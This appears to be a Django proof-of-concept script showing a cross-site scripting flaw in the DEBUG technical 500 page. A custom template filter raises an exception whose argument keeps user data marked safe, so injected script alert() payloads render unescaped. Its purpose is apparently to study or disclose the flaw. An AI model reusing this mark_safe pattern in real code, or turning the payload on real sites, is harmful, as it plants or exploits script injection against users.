"""
Proof of Concept for an XSS on the Technical 500 debug page.

Alternate take on it. Still requires a misunderstanding by a user, marking
something as safe when in fact it's _not_.
"""
import django
from django import template
from django.conf import settings
from django.http import HttpResponse
from django.template import Template, Context
from django.urls import path
from django.utils.safestring import mark_safe

if not settings.configured:
    settings.configure(
        SECRET_KEY="??????????????????????????????????????????????????????????",
        DEBUG=True,
        INSTALLED_APPS=(),
        ALLOWED_HOSTS=("*"),
        ROOT_URLCONF=__name__,
        MIDDLEWARE=[],
        TEMPLATES=[
            {
                "BACKEND": "django.template.backends.django.DjangoTemplates",
                "DIRS": [],
                "APP_DIRS": False,
                "OPTIONS": {
                    "context_processors": [],
                    "libraries": {
                        "my_custom_filters": __name__,
                    },
                },
            },
        ],
    )
    django.setup()


class MyModel:
    def get_user_value1(self):
        # User controlled data, but for some reason has been marked as safe.
        # Always risky! But I need a way to provide a SafeString to the
        # filter.
        # Perhaps I've copied it from production to investigate what's going on.
        return mark_safe("<script>alert('good')</script>")

    def get_user_value2(self):
        return mark_safe("<script>alert('bad')</script>")


register = template.Library()


@register.filter("test_filter")
def test_filter(val, arg):
    """
    Another contrived thing...
    If I can get user controlled data to become a SafeString, and force
    an exception to occur with the value as args[0]
    """

    # This is where 'the magic' happens; if .partition (or 'rpartition') don't
    # find the separator, they return the whole original(!) value as [0] (or [2])
    #
    # The only other method I can find to not actually coerce to a string is
    # SafeString('...').format(x=x) where format does no replacements, and
    # f'{mysafestring}' where the f-string has literally no other characters...
    parts = list(arg.partition("'good'"))  # I could be splitting by anything.

    # I'm a person who doesn't want things to silently fail in dev, because
    # then they'll silently fail in production.
    # (I actually _am_ that person it turns out, given I wrote
    # https://github.com/kezabelle/django-shouty-templates to avoid that
    # happening. I would be raising an exception, but probably not quite like
    # this.)
    if settings.DEBUG and not parts[2]:
        # I'm for some reason choosing to rely on exceptions accepting varargs
        # and binding those into .args - this gets me args[0] as a SafeString
        # Note that the asterisk expansion is required, even though the str()
        # output looks the same!
        raise ValueError(*parts)
        raise ValueError(arg)  # This would also work, I guess.
        raise ValueError(f'{arg}')  # As would this ...
    # Here I might be mutating the value, which is fine because the act of
    # combining a str() + SafeString() leads to a str(). So it needs marking
    # as safe again in the template...
    parts.insert(0, val)
    return "".join(parts)


def via_filter_looks_safe(request) -> HttpResponse:
    template = Template(
        """
    {% load my_custom_filters %}
    {{ 'safe text or variable'|test_filter:object.get_user_value1 }}
    """
    )
    return HttpResponse(template.render(Context({
        "object": MyModel(),
    })))


def via_filter(request) -> HttpResponse:
    template = Template(
        """
    {% load my_custom_filters %}
    {{ 'safe text or variable'|test_filter:object.get_user_value2 }}
    """
    )

    return HttpResponse(template.render(Context({
        "object": MyModel(),
    })))


urlpatterns = [
    path("good", via_filter_looks_safe),
    path("bad", via_filter),
]


if __name__ == "__main__":
    from django.core import management

    management.execute_from_command_line()
else:
    from django.core.wsgi import get_wsgi_application

    application = get_wsgi_application()
